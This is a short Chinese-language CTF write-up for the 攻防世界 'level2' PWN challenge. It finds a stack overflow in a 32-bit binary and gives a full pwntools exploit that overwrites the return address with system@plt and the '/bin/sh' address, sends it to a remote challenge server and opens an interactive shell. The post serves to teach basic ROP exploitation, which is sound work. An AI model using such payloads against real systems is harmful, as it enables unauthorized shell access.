攻防世界PWN簡單題 level2
阿新 • • 發佈:2021-08-24
攻防世界PWN簡單題 level2
此題考驗的是對ROP鏈攻擊的基礎
萬事開頭PWN第一步checksec 一下
32位的小端程式,扔進IDA
進入函式,找出棧溢位漏洞。
又是這個位置的棧溢位,read的0x100,buf的0x88,根據提示,尋找構建ROP鏈的攻擊
直接就找到了system和/bin/sh,開始寫exp
from pwn import * io = remote('111.200.241.244',56855) #連線遠端 elf = ELF('./1ab77c073b4f4524b73e086d063f884e') #elf載入本地程式,因為沒有開PIE system_adr = elf.plt['system'] #獲取system在plt表中的地址 binsh_adr = next(elf.search(b'/bin/sh')) #在程式搜尋binsh的地址 payload = b'a'*(0x88+4) + p32(system_adr) + b'dead'+p32(binsh_adr) #buf定義了0x88個位元組,+4覆蓋ebp,填入system地址 #b'dead'是system的返回地址,我瞎寫的,為了棧平衡 #傳入binsh的地址 io.recv() io.send(payload) io.interactive()
然後去執行一下exp,攻擊完成,老師,交交交。。。交卷!!!